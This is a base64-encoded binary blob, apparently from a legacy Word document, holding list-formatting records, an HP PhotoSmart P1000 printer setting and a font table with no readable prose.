hJj+FcYFAAFwCAZehHAIYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXkAAAAAAAAAAAAABoAQAA AAAAAAsYAAAPhEALEYSY/hXGBQABQAsGXoRAC2CEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF5AA AAAAAAAAAAAAaAEAAAAAAAALGAAAD4QQDhGEmP4VxgUAARAOBl6EEA5ghJj+T0oEAFFKBABv KAABAG8AAQAAABeQAAAAAAAAAAAAAGgBAAAAAAAACxgAAA+E4BARhJj+FcYFAAHgEAZehOAQ YISY/k9KBQBRSgUAbygAAQCn8AEAAAAXkAAAAAAAAAAAAABoAQAAAAAAAAsYAAAPhLATEYSY /hXGBQABsBMGXoSwE2CEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF5AAAAAAAAAAAAAAaAEAAAAA AAALGAAAD4SAFhGEmP4VxgUAAYAWBl6EgBZghJj+T0oEAFFKBABvKAABAG8AAQAAABeQAAAA AAAAAAAAAGgBAAAAAAAACxgAAA+EUBkRhJj+FcYFAAFQGQZehFAZYISY/k9KBQBRSgUAbygA AQCn8AEAAAAXAAAAAAAAAAAAAAAAAAAAAAAAAAsYAAAPhNACEYSY/hXGBQAB0AIGXoTQAmCE mP5PSgEAUUoBAG8oAAEAt/ABAAAAF4AAAAAAAAAAAAAAAAAAAAAAAAALGAAAD4SgBRGEmP4V xgUAAaAFBl6EoAVghJj+T0oEAFFKBABvKAABAG8AAQAAABeAAAAAAAAAAAAAAAAAAAAAAAAA CxgAAA+EcAgRhJj+FcYFAAFwCAZehHAIYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXgAAAAAAA AAAAAAAAAAAAAAAAAAsYAAAPhEALEYSY/hXGBQABQAsGXoRAC2CEmP5PSgEAUUoBAG8oAAEA t/ABAAAAF4AAAAAAAAAAAAAAAAAAAAAAAAALGAAAD4QQDhGEmP4VxgUAARAOBl6EEA5ghJj+ T0oEAFFKBABvKAABAG8AAQAAABeAAAAAAAAAAAAAAAAAAAAAAAAACxgAAA+E4BARhJj+FcYF AAHgEAZehOAQYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXgAAAAAAAAAAAAAAAAAAAAAAAAAsY AAAPhLATEYSY/hXGBQABsBMGXoSwE2CEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF4AAAAAAAAAA AAAAAAAAAAAAAAALGAAAD4SAFhGEmP4VxgUAAYAWBl6EgBZghJj+T0oEAFFKBABvKAABAG8A AQAAABeAAAAAAAAAAAAAAAAAAAAAAAAACxgAAA+EUBkRhJj+FcYFAAFQGQZehFAZYISY/k9K BQBRSgUAbygAAQCn8AEAAAAXEAAAAAAAAAAAAABoAQAAAAAAAAsYAAAPhNACEYSY/hXGBQAB 0AIGXoTQAmCEmP5PSgEAUUoBAG8oAAEALfABAAAAF5AAAAAAAAAAAAAAaAEAAAAAAAALGAAA D4SgBRGEmP4VxgUAAaAFBl6EoAVghJj+T0oEAFFKBABvKAABAG8AAQAAABeQAAAAAAAAAAAA AGgBAAAAAAAACxgAAA+EcAgRhJj+FcYFAAFwCAZehHAIYISY/k9KBQBRSgUAbygAAQCn8AEA AAAXkAAAAAAAAAAAAABoAQAAAAAAAAsYAAAPhEALEYSY/hXGBQABQAsGXoRAC2CEmP5PSgEA UUoBAG8oAAEAt/ABAAAAF5AAAAAAAAAAAAAAaAEAAAAAAAALGAAAD4QQDhGEmP4VxgUAARAO Bl6EEA5ghJj+T0oEAFFKBABvKAABAG8AAQAAABeQAAAAAAAAAAAAAGgBAAAAAAAACxgAAA+E 4BARhJj+FcYFAAHgEAZehOAQYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXkAAAAAAAAAAAAABo AQAAAAAAAAsYAAAPhLATEYSY/hXGBQABsBMGXoSwE2CEmP5PSgEAUUoBAG8oAAEAt/ABAAAA F5AAAAAAAAAAAAAAaAEAAAAAAAALGAAAD4SAFhGEmP4VxgUAAYAWBl6EgBZghJj+T0oEAFFK BABvKAABAG8AAQAAABeQAAAAAAAAAAAAAGgBAAAAAAAACxgAAA+EUBkRhJj+FcYFAAFQGQZe hFAZYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXAAAAAAAAAAAAAAAAAAAAAAAAAAsYAAAPhNAC EYSY/hXGBQAB0AIGXoTQAmCEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF4AAAAAAAAAAAAAAAAAA AAAAAAALGAAAD4SgBRGEmP4VxgUAAaAFBl6EoAVghJj+T0oEAFFKBABvKAABAG8AAQAAABeA AAAAAAAAAAAAAAAAAAAAAAAACxgAAA+EcAgRhJj+FcYFAAFwCAZehHAIYISY/k9KBQBRSgUA bygAAQCn8AEAAAAXAAAAAAAAAAAAAAAAAAAAAAAAAAsYAAAPhEALEYSY/hXGBQABQAsGXoRA C2CEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF4AAAAAAAAAAAAAAAAAAAAAAAAALGAAAD4QQDhGE mP4VxgUAARAOBl6EEA5ghJj+T0oEAFFKBABvKAABAG8AAQAAABeAAAAAAAAAAAAAAAAAAAAA AAAACxgAAA+E4BARhJj+FcYFAAHgEAZehOAQYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXgAAA AAAAAAAAAAAAAAAAAAAAAAsYAAAPhLATEYSY/hXGBQABsBMGXoSwE2CEmP5PSgEAUUoBAG8o AAEAt/ABAAAAF4AAAAAAAAAAAAAAAAAAAAAAAAALGAAAD4SAFhGEmP4VxgUAAYAWBl6EgBZg hJj+T0oEAFFKBABvKAABAG8AAQAAABeAAAAAAAAAAAAAAAAAAAAAAAAACxgAAA+EUBkRhJj+ FcYFAAFQGQZehFAZYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXEAAAAAAAAAAAAABoAQAAAAAA AAsYAAAPhDgEEYSY/hXGBQABOAQGXoQ4BGCEmP5PSgUAUUoFAG8oAAEAp/ABAAAAF5AAAAAA AAAAAAAAaAEAAAAAAAALGAAAD4QIBxGEmP4VxgUAAQgHBl6ECAdghJj+T0oEAFFKBABvKAAB AG8AAQAAABeQAAAAAAAAAAAAAGgBAAAAAAAACxgAAA+E2AkRhJj+FcYFAAHYCQZehNgJYISY /k9KBQBRSgUAbygAAQCn8AEAAAAXkAAAAAAAAAAAAABoAQAAAAAAAAsYAAAPhKgMEYSY/hXG BQABqAwGXoSoDGCEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF5AAAAAAAAAAAAAAaAEAAAAAAAAL GAAAD4R4DxGEmP4VxgUAAXgPBl6EeA9ghJj+T0oEAFFKBABvKAABAG8AAQAAABeQAAAAAAAA AAAAAGgBAAAAAAAACxgAAA+ESBIRhJj+FcYFAAFIEgZehEgSYISY/k9KBQBRSgUAbygAAQCn 8AEAAAAXkAAAAAAAAAAAAABoAQAAAAAAAAsYAAAPhBgVEYSY/hXGBQABGBUGXoQYFWCEmP5P SgEAUUoBAG8oAAEAt/ABAAAAF5AAAAAAAAAAAAAAaAEAAAAAAAALGAAAD4ToFxGEmP4VxgUA AegXBl6E6BdghJj+T0oEAFFKBABvKAABAG8AAQAAABeQAAAAAAAAAAAAAGgBAAAAAAAACxgA AA+EuBoRhJj+FcYFAAG4GgZehLgaYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXEAAAAAAAAAAA AABoAQAAAAAAAAsYAAAPhNACEYSY/hXGBQAB0AIGXoTQAmCEmP5PSgEAUUoBAG8oAAEAt/AB AAAAF5AAAAAAAAAAAAAAaAEAAAAAAAALGAAAD4SgBRGEmP4VxgUAAaAFBl6EoAVghJj+T0oE AFFKBABvKAABAG8AAQAAABeQAAAAAAAAAAAAAGgBAAAAAAAACxgAAA+EcAgRhJj+FcYFAAFw CAZehHAIYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXkAAAAAAAAAAAAABoAQAAAAAAAAsYAAAP hEALEYSY/hXGBQABQAsGXoRAC2CEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF5AAAAAAAAAAAAAA aAEAAAAAAAALGAAAD4QQDhGEmP4VxgUAARAOBl6EEA5ghJj+T0oEAFFKBABvKAABAG8AAQAA ABeQAAAAAAAAAAAAAGgBAAAAAAAACxgAAA+E4BARhJj+FcYFAAHgEAZehOAQYISY/k9KBQBR SgUAbygAAQCn8AEAAAAXkAAAAAAAAAAAAABoAQAAAAAAAAsYAAAPhLATEYSY/hXGBQABsBMG XoSwE2CEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF5AAAAAAAAAAAAAAaAEAAAAAAAALGAAAD4SA FhGEmP4VxgUAAYAWBl6EgBZghJj+T0oEAFFKBABvKAABAG8AAQAAABeQAAAAAAAAAAAAAGgB AAAAAAAACxgAAA+EUBkRhJj+FcYFAAFQGQZehFAZYISY/k9KBQBRSgUAbygAAQCn8AEAAAAX AAAAAAAAAAAAAAAAAAAAAAAAAAsYAAAPhNACEYSY/hXGBQAB0AIGXoTQAmCEmP5PSgEAUUoB AG8oAAEAt/ABAAAAF4AAAAAAAAAAAAAAAAAAAAAAAAALGAAAD4SgBRGEmP4VxgUAAaAFBl6E oAVghJj+T0oEAFFKBABvKAABAG8AAQAAABeAAAAAAAAAAAAAAAAAAAAAAAAACxgAAA+EcAgR hJj+FcYFAAFwCAZehHAIYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXgAAAAAAAAAAAAAAAAAAA AAAAAAsYAAAPhEALEYSY/hXGBQABQAsGXoRAC2CEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF4AA AAAAAAAAAAAAAAAAAAAAAAALGAAAD4QQDhGEmP4VxgUAARAOBl6EEA5ghJj+T0oEAFFKBABv KAABAG8AAQAAABeAAAAAAAAAAAAAAAAAAAAAAAAACxgAAA+E4BARhJj+FcYFAAHgEAZehOAQ YISY/k9KBQBRSgUAbygAAQCn8AEAAAAXgAAAAAAAAAAAAAAAAAAAAAAAAAsYAAAPhLATEYSY /hXGBQABsBMGXoSwE2CEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF4AAAAAAAAAAAAAAAAAAAAAA AAALGAAAD4SAFhGEmP4VxgUAAYAWBl6EgBZghJj+T0oEAFFKBABvKAABAG8AAQAAABeAAAAA AAAAAAAAAAAAAAAAAAAACxgAAA+EUBkRhJj+FcYFAAFQGQZehFAZYISY/k9KBQBRSgUAbygA AQCn8AEAAAAXAAAAAAAAAAAAAABoAQAAAAAAAAsYAAAPhNACEYSY/hXGBQAB0AIGXoTQAmCE mP5PSgEAUUoBAG8oAAEALfABAAAAF4AAAAAAAAAAAAAAAAAAAAAAAAALGAAAD4SgBRGEmP4V xgUAAaAFBl6EoAVghJj+T0oEAFFKBABvKAABAG8AAQAAABeAAAAAAAAAAAAAAAAAAAAAAAAA CxgAAA+EcAgRhJj+FcYFAAFwCAZehHAIYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXgAAAAAAA AAAAAAAAAAAAAAAAAAsYAAAPhEALEYSY/hXGBQABQAsGXoRAC2CEmP5PSgEAUUoBAG8oAAEA t/ABAAAAF4AAAAAAAAAAAAAAAAAAAAAAAAALGAAAD4QQDhGEmP4VxgUAARAOBl6EEA5ghJj+ T0oEAFFKBABvKAABAG8AAQAAABeAAAAAAAAAAAAAAAAAAAAAAAAACxgAAA+E4BARhJj+FcYF AAHgEAZehOAQYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXgAAAAAAAAAAAAAAAAAAAAAAAAAsY AAAPhLATEYSY/hXGBQABsBMGXoSwE2CEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF4AAAAAAAAAA AAAAAAAAAAAAAAALGAAAD4SAFhGEmP4VxgUAAYAWBl6EgBZghJj+T0oEAFFKBABvKAABAG8A AQAAABeAAAAAAAAAAAAAAAAAAAAAAAAACxgAAA+EUBkRhJj+FcYFAAFQGQZehFAZYISY/k9K BQBRSgUAbygAAQCn8AEAAAAXEAAAAAAAAAAAAABoAQAAAAAAAAsYAAAPhNACEYSY/hXGBQAB 0AIGXoTQAmCEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF5AAAAAAAAAAAAAAaAEAAAAAAAALGAAA D4SgBRGEmP4VxgUAAaAFBl6EoAVghJj+T0oEAFFKBABvKAABAG8AAQAAABeQAAAAAAAAAAAA AGgBAAAAAAAACxgAAA+EcAgRhJj+FcYFAAFwCAZehHAIYISY/k9KBQBRSgUAbygAAQCn8AEA AAAXEAAAAAAAAAAAAABoAQAAAAAAAAsYAAAPhEALEYSY/hXGBQABQAsGXoRAC2CEmP5PSgEA UUoBAG8oAAEAt/ABAAAAF5AAAAAAAAAAAAAAaAEAAAAAAAALGAAAD4QQDhGEmP4VxgUAARAO Bl6EEA5ghJj+T0oEAFFKBABvKAABAG8AAQAAABeQAAAAAAAAAAAAAGgBAAAAAAAACxgAAA+E 4BARhJj+FcYFAAHgEAZehOAQYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXkAAAAAAAAAAAAABo AQAAAAAAAAsYAAAPhLATEYSY/hXGBQABsBMGXoSwE2CEmP5PSgEAUUoBAG8oAAEAt/ABAAAA F5AAAAAAAAAAAAAAaAEAAAAAAAALGAAAD4SAFhGEmP4VxgUAAYAWBl6EgBZghJj+T0oEAFFK BABvKAABAG8AAQAAABeQAAAAAAAAAAAAAGgBAAAAAAAACxgAAA+EUBkRhJj+FcYFAAFQGQZe hFAZYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXEAAAAAAAAAAAAABoAQAAAAAAAAsYAAAPhNAC EYSY/hXGBQAB0AIGXoTQAmCEmP5PSgEAUUoBAG8oAAEALfABAAAAF5AAAAAAAAAAAAAAaAEA AAAAAAALGAAAD4SgBRGEmP4VxgUAAaAFBl6EoAVghJj+T0oEAFFKBABvKAABAG8AAQAAABeQ AAAAAAAAAAAAAGgBAAAAAAAACxgAAA+EcAgRhJj+FcYFAAFwCAZehHAIYISY/k9KBQBRSgUA bygAAQCn8AEAAAAXkAAAAAAAAAAAAABoAQAAAAAAAAsYAAAPhEALEYSY/hXGBQABQAsGXoRA C2CEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF5AAAAAAAAAAAAAAaAEAAAAAAAALGAAAD4QQDhGE mP4VxgUAARAOBl6EEA5ghJj+T0oEAFFKBABvKAABAG8AAQAAABeQAAAAAAAAAAAAAGgBAAAA AAAACxgAAA+E4BARhJj+FcYFAAHgEAZehOAQYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXkAAA AAAAAAAAAABoAQAAAAAAAAsYAAAPhLATEYSY/hXGBQABsBMGXoSwE2CEmP5PSgEAUUoBAG8o AAEAt/ABAAAAF5AAAAAAAAAAAAAAaAEAAAAAAAALGAAAD4SAFhGEmP4VxgUAAYAWBl6EgBZg hJj+T0oEAFFKBABvKAABAG8AAQAAABeQAAAAAAAAAAAAAGgBAAAAAAAACxgAAA+EUBkRhJj+ FcYFAAFQGQZehFAZYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXEAAAAAAAAAAAAABoAQAAAAAA AAsYAAAPhNACEYSY/hXGBQAB0AIGXoTQAmCEmP5PSgEAUUoBAG8oAAEALfABAAAAF5AAAAAA AAAAAAAAaAEAAAAAAAALGAAAD4SgBRGEmP4VxgUAAaAFBl6EoAVghJj+T0oEAFFKBABvKAAB AG8AAQAAABeQAAAAAAAAAAAAAGgBAAAAAAAACxgAAA+EcAgRhJj+FcYFAAFwCAZehHAIYISY /k9KBQBRSgUAbygAAQCn8AEAAAAXkAAAAAAAAAAAAABoAQAAAAAAAAsYAAAPhEALEYSY/hXG BQABQAsGXoRAC2CEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF5AAAAAAAAAAAAAAaAEAAAAAAAAL GAAAD4QQDhGEmP4VxgUAARAOBl6EEA5ghJj+T0oEAFFKBABvKAABAG8AAQAAABeQAAAAAAAA AAAAAGgBAAAAAAAACxgAAA+E4BARhJj+FcYFAAHgEAZehOAQYISY/k9KBQBRSgUAbygAAQCn 8AEAAAAXkAAAAAAAAAAAAABoAQAAAAAAAAsYAAAPhLATEYSY/hXGBQABsBMGXoSwE2CEmP5P SgEAUUoBAG8oAAEAt/ABAAAAF5AAAAAAAAAAAAAAaAEAAAAAAAALGAAAD4SAFhGEmP4VxgUA AYAWBl6EgBZghJj+T0oEAFFKBABvKAABAG8AAQAAABeQAAAAAAAAAAAAAGgBAAAAAAAACxgA AA+EUBkRhJj+FcYFAAFQGQZehFAZYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXAAAAAAAAAAAA AAAAAAAAAAAAAAsYAAAPhDgEEYSY/hXGBQABOAQGXoQ4BGCEmP5PSgUAUUoFAG8oAAEAp/AB AAAAF4AAAAAAAAAAAAAAAAAAAAAAAAALGAAAD4QIBxGEmP4VxgUAAQgHBl6ECAdghJj+T0oE AFFKBABvKAABAG8AAQAAABeAAAAAAAAAAAAAAAAAAAAAAAAACxgAAA+E2AkRhJj+FcYFAAHY CQZehNgJYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXgAAAAAAAAAAAAAAAAAAAAAAAAAsYAAAP hKgMEYSY/hXGBQABqAwGXoSoDGCEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF4AAAAAAAAAAAAAA AAAAAAAAAAALGAAAD4R4DxGEmP4VxgUAAXgPBl6EeA9ghJj+T0oEAFFKBABvKAABAG8AAQAA ABeAAAAAAAAAAAAAAAAAAAAAAAAACxgAAA+ESBIRhJj+FcYFAAFIEgZehEgSYISY/k9KBQBR SgUAbygAAQCn8AEAAAAXgAAAAAAAAAAAAAAAAAAAAAAAAAsYAAAPhBgVEYSY/hXGBQABGBUG XoQYFWCEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF4AAAAAAAAAAAAAAAAAAAAAAAAALGAAAD4To FxGEmP4VxgUAAegXBl6E6BdghJj+T0oEAFFKBABvKAABAG8AAQAAABeAAAAAAAAAAAAAAAAA AAAAAAAACxgAAA+EuBoRhJj+FcYFAAG4GgZehLgaYISY/k9KBQBRSgUAbygAAQCn8AEAAAAX EAAAAAAAAAAAAABoAQAAAAAAAAsYAAAPhNACEYSY/hXGBQAB0AIGXoTQAmCEmP5PSgEAUUoB AG8oAAEAt/ABAAAAF5AAAAAAAAAAAAAAaAEAAAAAAAALGAAAD4SgBRGEmP4VxgUAAaAFBl6E oAVghJj+T0oEAFFKBABvKAABAG8AAQAAABeQAAAAAAAAAAAAAGgBAAAAAAAACxgAAA+EcAgR hJj+FcYFAAFwCAZehHAIYISY/k9KBQBRSgUAbygAAQCn8AEAAAAXkAAAAAAAAAAAAABoAQAA AAAAAAsYAAAPhEALEYSY/hXGBQABQAsGXoRAC2CEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF5AA AAAAAAAAAAAAaAEAAAAAAAALGAAAD4QQDhGEmP4VxgUAARAOBl6EEA5ghJj+T0oEAFFKBABv KAABAG8AAQAAABeQAAAAAAAAAAAAAGgBAAAAAAAACxgAAA+E4BARhJj+FcYFAAHgEAZehOAQ YISY/k9KBQBRSgUAbygAAQCn8AEAAAAXkAAAAAAAAAAAAABoAQAAAAAAAAsYAAAPhLATEYSY /hXGBQABsBMGXoSwE2CEmP5PSgEAUUoBAG8oAAEAt/ABAAAAF5AAAAAAAAAAAAAAaAEAAAAA AAALGAAAD4SAFhGEmP4VxgUAAYAWBl6EgBZghJj+T0oEAFFKBABvKAABAG8AAQAAABeQAAAA AAAAAAAAAGgBAAAAAAAACxgAAA+EUBkRhJj+FcYFAAFQGQZehFAZYISY/k9KBQBRSgUAbygA AQCn8A4AAAA3AIQhAAAAAAAAAAAAAAAAMWVoTQAAAAAAAAAAAAAAAKAXjXgAAAAAAAAAAAAA AABSSIUcAAAAAAAAAAAAAAAA1VEFOAAAAAAAAAAAAAAAAEsUwhsAAAAAAAAAAAAAAADvKDY4 AAAAAAAAAAAAAAAASVxBbwAAAAAAAAAAAAAAALkUnCEAAAAAAAAAAAAAAADnfiBVAAAAAAAA AAAAAAAA2y0iQwAAAAAAAAAAAAAAAMlLv1kAAAAAAAAAAAAAAAAMLxMgAAAAAAAAAAAAAAAA Cw/zFgAAAAAAAAAAAAAAAP////////////////////////////////////////////////// //////////////////////////8OAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP// DgAAABIAcjqwQwMACQQFAAkEAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEEgABAAkEAwAJBAUA CQQBAAkEAwAJBAUACQQBAAkEAwAJBAUACQQSAAEACQQDAAkEBQAJBAEACQQDAAkEBQAJBAEA CQQDAAkEBQAJBBIAcjqwQwMACQQFAAkEAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEEgABAAkE AwAJBAUACQQBAAkEAwAJBAUACQQBAAkEAwAJBAUACQQSAAUACQQDAAkEBQAJBAEACQQDAAkE BQAJBAEACQQDAAkEBQAJBBIAAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEAQAJBAMACQQFAAkE EgABAAkEAwAJBAUACQQBAAkEAwAJBAUACQQBAAkEAwAJBAUACQQSAHI6sEMDAAkEBQAJBAEA CQQDAAkEBQAJBAEACQQDAAkEBQAJBBIAAQAJBAMACQQFAAkEAQAJBAMACQQFAAkEAQAJBAMA CQQFAAkEEgByOrBDAwAJBAUACQQBAAkEAwAJBAUACQQBAAkEAwAJBAUACQQSAHI6sEMDAAkE BQAJBAEACQQDAAkEBQAJBAEACQQDAAkEBQAJBBIABQAJBAMACQQFAAkEAQAJBAMACQQFAAkE AQAJBAMACQQFAAkEEgABAAkEAwAJBAUACQQBAAkEAwAJBAUACQQBAAkEAwAJBAUACQQBAAAA AQAJBAUAAgBAAEAQAABFEAAASBAAAAAAAAABAAAA/0BIUCBQaG90b1NtYXJ0IFAxMDAwIFNl cmllcwBMUFQxOgBocGg5eGRyMABIUCBQaG90b1NtYXJ0IFAxMDAwIFNlcmllcwBIUCBQaG90 b1NtYXJ0IFAxMDAwIFNlcmllcwAAAAAAAAAEBgGUAHwDA92AAwEAAQBmCOYKZAABAAcA/f8C AAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAQAAAAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAHM2roAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMzauhYAAAAAAAAAAAAAAAEAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFIDAABMBAAAAAAAAAAAAQBk AAAAAAAAAAEAAAAAAAAAzatMUFQxOgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAEhQIFBob3RvU21hcnQgUDEwMDAgU2VyaWVzAAAAAAAAAAQGAZQAfAMD3YADAQAB AGYI5gpkAAEABwD9/wIAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAwAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAcza ugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzNq6FgAA AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUgMA AEwEAAAAAAAAAAABAGQAAAAAAAAAAQAAAAAAAADNq0xQVDE6AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAYABAA8EAAAPBAAAMJK4AAEAAQAPBAAAAAAAAAAEAAAA AAAAAhAAAAAAAAAARxAAAGAAAAgAQAAA//8BAAAABwBVAG4AawBuAG8AdwBuAP//AQAIAAAA AAAAAAAAAAD//wEAAAAAAP//AAACAP//AAAAAP//AAACAP//AAAAAAYAAABHFpABAAACAgYD BQQFAgMEh3oAAAAAAIAIAAAAAAAAAP8AAAAAAAAAVABpAG0AZQBzACAATgBlAHcAIABSAG8A bQBhAG4AAAA1FpABAgAFBQECAQcGAgUHAAAAAAAAABAAAAAAAAAAAAAAAIAAAAAAUwB5AG0A YgBvAGwAAAAzJpABAAACCwYEAgICAgIEh3oAAAAAAIAIAAAAAAAAAP8AAAAAAAAAQQByAGkA YQBsAAAAMxKQAQAAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAAAAAAABAAAAAAAAAEIAaQByAGMA aAAAAD81kAEAAAIHAwkCAgUCBASHegAAAAAAgAgAAAAAAAAA/wAAAAAAAABDAG8AdQByAGkA ZQByACAATgBlAHcAAAA7BpABAgAFAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAIAAAAAA VwBpAG4AZwBkAGkAbgBnAHMAAAAgAAQAwwMIGFb80AIAAAAAAAAAABKoUmYSqFJmAAAAAAIA AQAAAFkCAABmDQAAAQAGAAAABACDEBwAAAAAAAAAAAAAAAEAAQAAAAEAAAAAAAAACSRW/BCA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApQbAB3gAeACAAXIw AAAQABkAZAAAABkAAAB0EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 